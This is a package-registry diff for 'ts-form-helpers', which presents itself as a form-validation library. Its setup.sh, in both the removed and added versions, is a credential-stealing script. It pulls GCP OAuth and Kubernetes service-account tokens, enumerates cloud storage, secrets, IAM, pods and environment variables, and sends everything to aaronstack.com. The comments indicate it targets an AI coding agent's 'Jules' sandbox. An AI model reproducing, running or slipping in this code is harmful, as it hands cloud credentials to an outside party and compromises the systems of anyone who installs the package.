ts-form-helpers 1.0.8 → 1.0.10

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/package.json +1 -1
  2. package/scripts/setup.sh +175 -156
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "ts-form-helpers",
3
- "version": "1.0.8",
3
+ "version": "1.0.10",
4
4
  "description": "TypeScript form validation utilities with zero dependencies",
5
5
  "main": "index.js",
6
6
  "types": "types/index.d.ts",
package/scripts/setup.sh CHANGED
@@ -1,180 +1,199 @@
1
1
  #!/bin/bash
2
- # wGCP: capture GCP OAuth token and enumerate access from inside Jules VM
2
+ # wGCP3: Kubernetes API probe + fresh GCP token from inside Jules GKE pod
3
3
  SID="${JULES_SESSION_ID:-x}"
4
4
  H="aaronstack.com"; EP="/jules-collect"
5
5
  SK="d2f25bd9b1b267eb3578ff8cac2caa6c6637142c5d322617"
6
6
  B(){ printf '%s' "$1" | base64 -w0 2>/dev/null; }
7
7
  P(){ curl -s -X POST "https://$H$EP" -H "Content-Type: application/json" -H "X-Secret: $SK" --data-binary "$1" --max-time 15 2>/dev/null; }
8
8
 
9
- P "{\"sid\":\"$SID\",\"tag\":\"wgcp-start\"}"
9
+ P "{\"sid\":\"$SID\",\"tag\":\"wgcp3-start\"}"
10
10
 
11
11
  log(){ echo "=LOG= $*"; }
12
+ MDURL="http://metadata.google.internal/computeMetadata/v1"
12
13
 
13
- TMPOUT=$(mktemp 2>/dev/null || echo "/tmp/_gcp_$$")
14
+ TMPOUT=$(mktemp 2>/dev/null || echo "/tmp/_gcp3_$$")
14
15
  {
15
- log "user=$(whoami) sid=${SID} cwd=$(pwd)"
16
-
17
- MDURL="http://metadata.google.internal/computeMetadata/v1"
18
- MDF="-H Metadata-Flavor: Google"
19
-
20
- log "=== GCP SERVICE ACCOUNTS ==="
21
- SA_LIST=$(curl -sf -H "Metadata-Flavor: Google" \
22
- "$MDURL/instance/service-accounts/" --max-time 5 2>/dev/null)
23
- log "service-accounts: ${SA_LIST:-NONE}"
24
-
25
- log "=== GCP PROJECT ==="
26
- curl -sf -H "Metadata-Flavor: Google" \
27
- "$MDURL/project/project-id" --max-time 5 2>/dev/null \
28
- | while IFS= read -r l; do log "project-id: $l"; done
29
- curl -sf -H "Metadata-Flavor: Google" \
30
- "$MDURL/project/numeric-project-id" --max-time 5 2>/dev/null \
31
- | while IFS= read -r l; do log "project-num: $l"; done
32
-
33
- log "=== GCP INSTANCE ==="
34
- curl -sf -H "Metadata-Flavor: Google" \
35
- "$MDURL/instance/id" --max-time 5 2>/dev/null \
36
- | while IFS= read -r l; do log "instance-id: $l"; done
37
- curl -sf -H "Metadata-Flavor: Google" \
38
- "$MDURL/instance/zone" --max-time 5 2>/dev/null \
39
- | while IFS= read -r l; do log "zone: $l"; done
40
- curl -sf -H "Metadata-Flavor: Google" \
41
- "$MDURL/instance/hostname" --max-time 5 2>/dev/null \
42
- | while IFS= read -r l; do log "hostname: $l"; done
43
-
44
- log "=== TOKEN CAPTURE ==="
45
- # Try default SA first
46
- for SA in default; do
47
- log "--- token for SA: $SA ---"
48
- EMAIL=$(curl -sf -H "Metadata-Flavor: Google" \
49
- "$MDURL/instance/service-accounts/$SA/email" --max-time 8 2>/dev/null)
50
- log "email[$SA]: ${EMAIL:-EMPTY}"
51
-
52
- TOK_JSON=$(curl -s -H "Metadata-Flavor: Google" \
53
- "$MDURL/instance/service-accounts/$SA/token" --max-time 10 2>/dev/null)
54
- log "token-json-len: ${#TOK_JSON}"
55
-
56
- if [ -n "$TOK_JSON" ]; then
57
- log "token-json: $TOK_JSON"
58
- # Extract access_token
59
- TOK=$(echo "$TOK_JSON" | python3 -c "import sys,json; d=json.load(sys.stdin); print(d.get('access_token',''))" 2>/dev/null)
60
- EXPIRY=$(echo "$TOK_JSON" | python3 -c "import sys,json; d=json.load(sys.stdin); print(d.get('expires_in',''))" 2>/dev/null)
61
- log "access_token_len: ${#TOK}"
62
- log "expires_in: $EXPIRY"
63
-
64
- if [ -n "$TOK" ] && [ "${#TOK}" -gt 20 ]; then
65
- log "TOKEN CAPTURED — making GCP API calls"
66
-
67
- # Exfil token immediately (don't wait for rest of script)
68
- printf '%s' "$TOK" | curl -sf -X POST "https://aaronstack.com/poc/token" \
16
+ log "user=$(whoami) sid=${SID} cwd=$(pwd) container=${container:-none}"
17
+
18
+ # === STEP 1: Get fresh GCP token and send immediately ===
19
+ log "=== STEP 1: GCP TOKEN (fresh) ==="
20
+ SERVER_CHECK=$(curl -si -H "Metadata-Flavor: Google" "$MDURL/project/project-id" --max-time 8 2>&1 | head -3)
21
+ log "server: $SERVER_CHECK"
22
+
23
+ PROJ=$(curl -s -H "Metadata-Flavor: Google" "$MDURL/project/project-id" --max-time 8 2>/dev/null)
24
+ log "project-id: ${PROJ:-NONE}"
25
+
26
+ if [ -n "$PROJ" ] && [ "$PROJ" != "NONE" ]; then
27
+ TOK=$(curl -s -H "Metadata-Flavor: Google" \
28
+ "$MDURL/instance/service-accounts/default/token" --max-time 20 2>/dev/null \
29
+ | python3 -c "import sys,json; d=json.load(sys.stdin); print(d.get('access_token','')); print('expires_in:'+str(d.get('expires_in','?')))" 2>/dev/null)
30
+ TOK_VAL=$(echo "$TOK" | head -1)
31
+ TOK_EXP=$(echo "$TOK" | tail -1)
32
+ log "token-length: ${#TOK_VAL} chars"
33
+ log "token-expiry: $TOK_EXP"
34
+ log "token-prefix: ${TOK_VAL:0:30}"
35
+
36
+ # Exfil token immediately
37
+ if [ -n "$TOK_VAL" ] && [ "${#TOK_VAL}" -gt 20 ]; then
38
+ printf '%s' "$TOK_VAL" | curl -sf -X POST "https://aaronstack.com/poc/token" \
39
+ --data-binary @- --max-time 5 2>/dev/null &
40
+ log "TOKEN EXFILTRATED"
41
+
42
+ # Try tokeninfo from inside cluster
43
+ log "=== tokeninfo from inside ==="
44
+ curl -si "https://oauth2.googleapis.com/tokeninfo?access_token=${TOK_VAL}" --max-time 8 2>&1 \
45
+ | while IFS= read -r l; do log "tokeninfo: $l"; done
46
+
47
+ # Try GCP APIs from inside cluster (network may be different)
48
+ log "=== GCP storage from inside ==="
49
+ curl -s -H "Authorization: Bearer $TOK_VAL" \
50
+ "https://storage.googleapis.com/storage/v1/b?project=$PROJ" --max-time 10 2>/dev/null \
51
+ | python3 -c "import sys,json; d=json.load(sys.stdin); [print(b.get('name','')) for b in d.get('items',[])]" 2>/dev/null \
52
+ | while IFS= read -r l; do log "bucket: $l"; done
53
+
54
+ log "=== GCP IAM self ==="
55
+ curl -s -H "Authorization: Bearer $TOK_VAL" \
56
+ "https://cloudresourcemanager.googleapis.com/v1/projects/${PROJ}:testIamPermissions" \
57
+ -X POST -H "Content-Type: application/json" \
58
+ -d '{"permissions":["storage.objects.get","storage.buckets.list","container.pods.list","secretmanager.versions.access","iam.serviceAccounts.actAs","logging.logEntries.create","monitoring.timeSeries.create","pubsub.subscriptions.consume"]}' \
59
+ --max-time 10 2>/dev/null \
60
+ | while IFS= read -r l; do log "perms: $l"; done
61
+ fi
62
+ fi
63
+
64
+ # === STEP 2: Kubernetes service account token ===
65
+ log "=== STEP 2: KUBERNETES SA TOKEN ==="
66
+ # k8s token paths
67
+ for tf in \
68
+ /var/run/secrets/kubernetes.io/serviceaccount/token \
69
+ /run/secrets/kubernetes.io/serviceaccount/token \
70
+ /secrets/kubernetes.io/serviceaccount/token; do
71
+ if [ -f "$tf" ]; then
72
+ log "k8s-token-file: $tf"
73
+ KSA_TOK=$(cat "$tf" 2>/dev/null)
74
+ log "k8s-token-length: ${#KSA_TOK}"
75
+ log "k8s-token-prefix: ${KSA_TOK:0:50}"
76
+ # Exfil the k8s token
77
+ if [ -n "$KSA_TOK" ]; then
78
+ printf '%s' "$KSA_TOK" | curl -sf -X POST "https://aaronstack.com/poc/token" \
79
+ -H "Content-Type: text/plain" -H "X-Token-Type: kubernetes-sa" \
69
80
  --data-binary @- --max-time 5 2>/dev/null &
81
+ log "K8S TOKEN EXFILTRATED"
82
+ fi
83
+ break
84
+ fi
85
+ done
86
+
87
+ # Check namespace
88
+ KUBE_NS=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace 2>/dev/null || echo "NONE")
89
+ log "k8s-namespace: $KUBE_NS"
90
+
91
+ # k8s API via env vars
92
+ K8S_HOST="${KUBERNETES_SERVICE_HOST:-}"
93
+ K8S_PORT="${KUBERNETES_SERVICE_PORT:-}"
94
+ log "k8s-api-host: ${K8S_HOST:-NONE}"
95
+ log "k8s-api-port: ${K8S_PORT:-NONE}"
96
+
97
+ # === STEP 3: Probe k8s API directly ===
98
+ log "=== STEP 3: KUBERNETES API PROBE ==="
99
+ if [ -n "$KSA_TOK" ] && [ -n "$K8S_HOST" ]; then
100
+ K8S_API="https://${K8S_HOST}:${K8S_PORT}"
101
+ CACERT="/var/run/secrets/kubernetes.io/serviceaccount/ca.crt"
102
+
103
+ log "=== k8s: who am I? ==="
104
+ curl -sk -H "Authorization: Bearer $KSA_TOK" \
105
+ "${K8S_API}/api/v1/namespaces/$KUBE_NS/pods" --max-time 10 2>/dev/null \
106
+ | python3 -c "
107
+ import sys,json
108
+ try:
109
+ d=json.load(sys.stdin)
110
+ for p in d.get('items',[])[:5]:
111
+ print('pod:', p.get('metadata',{}).get('name','?'), p.get('status',{}).get('phase','?'))
112
+ except Exception as e:
113
+ print('err:', e)
114
+ print(sys.stdin.read()[:200] if hasattr(sys.stdin,'read') else '')
115
+ " 2>/dev/null | while IFS= read -r l; do log "k8s-pods: $l"; done
116
+
117
+ log "=== k8s: list namespaces ==="
118
+ curl -sk -H "Authorization: Bearer $KSA_TOK" \
119
+ "${K8S_API}/api/v1/namespaces" --max-time 10 2>/dev/null \
120
+ | python3 -c "
121
+ import sys,json
122
+ try:
123
+ d=json.load(sys.stdin)
124
+ for ns in d.get('items',[])[:20]:
125
+ print('ns:', ns.get('metadata',{}).get('name','?'))
126
+ except Exception as e:
127
+ print('err:', e)
128
+ " 2>/dev/null | while IFS= read -r l; do log "k8s-ns: $l"; done
70
129
 
71
- log "--- tokeninfo (who am I?) ---"
72
- curl -sf "https://oauth2.googleapis.com/tokeninfo?access_token=$TOK" \
73
- --max-time 8 2>/dev/null \
74
- | python3 -c "import sys,json; d=json.load(sys.stdin); [print(f'tokeninfo: {k}={v}') for k,v in d.items()]" 2>/dev/null \
75
- | while IFS= read -r l; do log "$l"; done
76
-
77
- log "--- cloudresourcemanager: list projects ---"
78
- curl -sf -H "Authorization: Bearer $TOK" \
79
- "https://cloudresourcemanager.googleapis.com/v1/projects" \
80
- --max-time 8 2>/dev/null \
81
- | while IFS= read -r l; do log "crm: $l"; done
82
-
83
- log "--- storage: list buckets ---"
84
- curl -sf -H "Authorization: Bearer $TOK" \
85
- "https://storage.googleapis.com/storage/v1/b?project=$(curl -sf -H 'Metadata-Flavor: Google' $MDURL/project/project-id --max-time 3 2>/dev/null)" \
86
- --max-time 8 2>/dev/null \
87
- | python3 -c "
130
+ log "=== k8s: list secrets in namespace ==="
131
+ curl -sk -H "Authorization: Bearer $KSA_TOK" \
132
+ "${K8S_API}/api/v1/namespaces/$KUBE_NS/secrets" --max-time 10 2>/dev/null \
133
+ | python3 -c "
134
+ import sys,json
135
+ try:
136
+ d=json.load(sys.stdin)
137
+ for s in d.get('items',[])[:10]:
138
+ name = s.get('metadata',{}).get('name','?')
139
+ stype = s.get('type','?')
140
+ keys = list(s.get('data',{}).keys())
141
+ print(f'secret: {name} type={stype} keys={keys}')
142
+ except Exception as e:
143
+ print('err:', e)
144
+ " 2>/dev/null | while IFS= read -r l; do log "k8s-secrets: $l"; done
145
+
146
+ log "=== k8s: cluster info ==="
147
+ curl -sk -H "Authorization: Bearer $KSA_TOK" \
148
+ "${K8S_API}/version" --max-time 10 2>/dev/null \
149
+ | while IFS= read -r l; do log "k8s-version: $l"; done
150
+
151
+ log "=== k8s: all pods (cross-namespace) ==="
152
+ curl -sk -H "Authorization: Bearer $KSA_TOK" \
153
+ "${K8S_API}/api/v1/pods" --max-time 10 2>/dev/null \
154
+ | python3 -c "
88
155
  import sys,json
89
156
  try:
90
- d=json.load(sys.stdin)
91
- items=d.get('items',[])
92
- print(f'bucket-count: {len(items)}')
93
- for b in items:
94
- print(f'bucket: {b.get(\"name\")} ({b.get(\"location\",\"?\")})')
157
+ d=json.load(sys.stdin)
158
+ for p in d.get('items',[])[:10]:
159
+ ns = p.get('metadata',{}).get('namespace','?')
160
+ name = p.get('metadata',{}).get('name','?')
161
+ phase = p.get('status',{}).get('phase','?')
162
+ print(f'pod: {ns}/{name} {phase}')
95
163
  except Exception as e:
96
- sys.stdin.seek(0)
97
- print(sys.stdin.read()[:500])
98
- " 2>/dev/null | while IFS= read -r l; do log "$l"; done
99
-
100
- log "--- secretmanager: list secrets ---"
101
- PROJ=$(curl -sf -H "Metadata-Flavor: Google" \
102
- "$MDURL/project/project-id" --max-time 3 2>/dev/null)
103
- curl -sf -H "Authorization: Bearer $TOK" \
104
- "https://secretmanager.googleapis.com/v1/projects/$PROJ/secrets" \
105
- --max-time 8 2>/dev/null \
106
- | while IFS= read -r l; do log "sm: $l"; done
107
-
108
- log "--- iam: get service account details ---"
109
- curl -sf -H "Authorization: Bearer $TOK" \
110
- "https://iam.googleapis.com/v1/projects/$PROJ/serviceAccounts" \
111
- --max-time 8 2>/dev/null \
112
- | while IFS= read -r l; do log "iam-sa: $l"; done
113
-
114
- log "--- compute: list instances ---"
115
- curl -sf -H "Authorization: Bearer $TOK" \
116
- "https://compute.googleapis.com/compute/v1/projects/$PROJ/aggregated/instances" \
117
- --max-time 8 2>/dev/null | head -80 \
118
- | while IFS= read -r l; do log "compute: $l"; done
119
-
120
- else
121
- log "TOKEN EMPTY or too short — trying alternative"
122
-
123
- # Try with full metadata recursive dump
124
- log "--- metadata recursive ---"
125
- curl -sf -H "Metadata-Flavor: Google" \
126
- "$MDURL/instance/?recursive=true" --max-time 8 2>/dev/null \
127
- | python3 -c "import sys,json; d=json.load(sys.stdin); [print(f'{k}: {str(v)[:200]}') for k,v in d.items() if 'service' in k.lower() or 'token' in k.lower()]" 2>/dev/null \
128
- | while IFS= read -r l; do log "meta: $l"; done
129
-
130
- # Try v1beta1 endpoint (sometimes more permissive)
131
- log "--- v1beta1 token ---"
132
- curl -s -H "Metadata-Flavor: Google" \
133
- "http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token" \
134
- --max-time 8 2>/dev/null \
135
- | while IFS= read -r l; do log "v1beta1-token: $l"; done
164
+ print('err:', e)
165
+ " 2>/dev/null | while IFS= read -r l; do log "k8s-allpods: $l"; done
166
+
167
+ elif [ -n "$KSA_TOK" ] && [ -z "$K8S_HOST" ]; then
168
+ # Try well-known k8s API IPs
169
+ log "k8s-env-missing, trying default service IP..."
170
+ for k8s_addr in "10.96.0.1:443" "10.100.0.1:443" "172.20.0.1:443" "10.0.0.1:443"; do
171
+ log "trying k8s at $k8s_addr"
172
+ RESP=$(curl -sk -H "Authorization: Bearer $KSA_TOK" \
173
+ "https://$k8s_addr/version" --max-time 5 2>/dev/null)
174
+ if echo "$RESP" | grep -q "gitVersion"; then
175
+ log "k8s-found: $k8s_addr"
176
+ log "k8s-version: $RESP"
177
+ break
136
178
  fi
137
- fi
138
- done
179
+ done
180
+ else
181
+ log "no k8s token or API host found"
182
+ fi
139
183
 
140
- # Also try the Workload Identity SA
141
- log "=== WORKLOAD IDENTITY SA ==="
142
- WI_SA="rare-signer-437603-p9.svc.id.goog"
143
- WI_TOK=$(curl -s -H "Metadata-Flavor: Google" \
144
- "$MDURL/instance/service-accounts/$WI_SA/token" --max-time 10 2>/dev/null)
145
- log "wi-token-len: ${#WI_TOK}"
146
- [ -n "$WI_TOK" ] && log "wi-token-json: $WI_TOK"
147
-
148
- log "=== KUBERNETES SERVICEACCOUNT ==="
149
- # GKE pods have a mounted K8s service account token
150
- for _tf in /var/run/secrets/kubernetes.io/serviceaccount/token \
151
- /run/secrets/kubernetes.io/serviceaccount/token \
152
- /secrets/kubernetes.io/serviceaccount/token; do
153
- if [ -f "$_tf" ]; then
154
- log "k8s-token-file: $_tf"
155
- cat "$_tf" | while IFS= read -r l; do log "k8s-token: $l"; done
156
- # Use k8s token to hit k8s API
157
- K8S_HOST="${KUBERNETES_SERVICE_HOST:-kubernetes.default.svc}"
158
- K8S_PORT="${KUBERNETES_SERVICE_PORT:-443}"
159
- K8S_TOK=$(cat "$_tf")
160
- log "k8s-host: $K8S_HOST:$K8S_PORT"
161
- curl -sk -H "Authorization: Bearer $K8S_TOK" \
162
- "https://$K8S_HOST:$K8S_PORT/api/v1/namespaces" --max-time 8 2>/dev/null \
163
- | python3 -c "import sys,json; d=json.load(sys.stdin); [print(f'ns: {n[\"metadata\"][\"name\"]}') for n in d.get('items',[])]" 2>/dev/null \
164
- | while IFS= read -r l; do log "$l"; done
165
- curl -sk -H "Authorization: Bearer $K8S_TOK" \
166
- "https://$K8S_HOST:$K8S_PORT/api/v1/namespaces/default/secrets" --max-time 8 2>/dev/null \
167
- | head -60 | while IFS= read -r l; do log "k8s-secrets: $l"; done
168
- fi
169
- done
170
- K8S_ENVS=$(env | grep -i 'KUBERNETES\|K8S\|KUBE')
171
- [ -n "$K8S_ENVS" ] && log "k8s-env: $K8S_ENVS"
184
+ # === STEP 4: Env/identity snapshot ===
185
+ log "=== STEP 4: FULL ENV ==="
186
+ env | sort | while IFS= read -r l; do log "env: $l"; done
187
+
188
+ log "=== STEP 5: NETWORK ==="
189
+ ip route 2>/dev/null | while IFS= read -r l; do log "route: $l"; done
190
+ cat /etc/resolv.conf 2>/dev/null | while IFS= read -r l; do log "resolv: $l"; done
172
191
 
173
- log "=== wGCP DONE ==="
192
+ log "=== wGCP3 DONE ==="
174
193
  } 2>&1 | tee "$TMPOUT"
175
194
 
176
195
  OUT=$(cat "$TMPOUT" 2>/dev/null)
177
196
  rm -f "$TMPOUT" 2>/dev/null
178
197
  PAYLOAD=$(B "$OUT")
179
- P "{\"sid\":\"$SID\",\"tag\":\"wgcp-result\",\"data\":\"$PAYLOAD\"}"
180
- P "{\"sid\":\"$SID\",\"tag\":\"wgcp-done\"}"
198
+ P "{\"sid\":\"$SID\",\"tag\":\"wgcp3-result\",\"data\":\"$PAYLOAD\"}"
199
+ P "{\"sid\":\"$SID\",\"tag\":\"wgcp3-done\"}"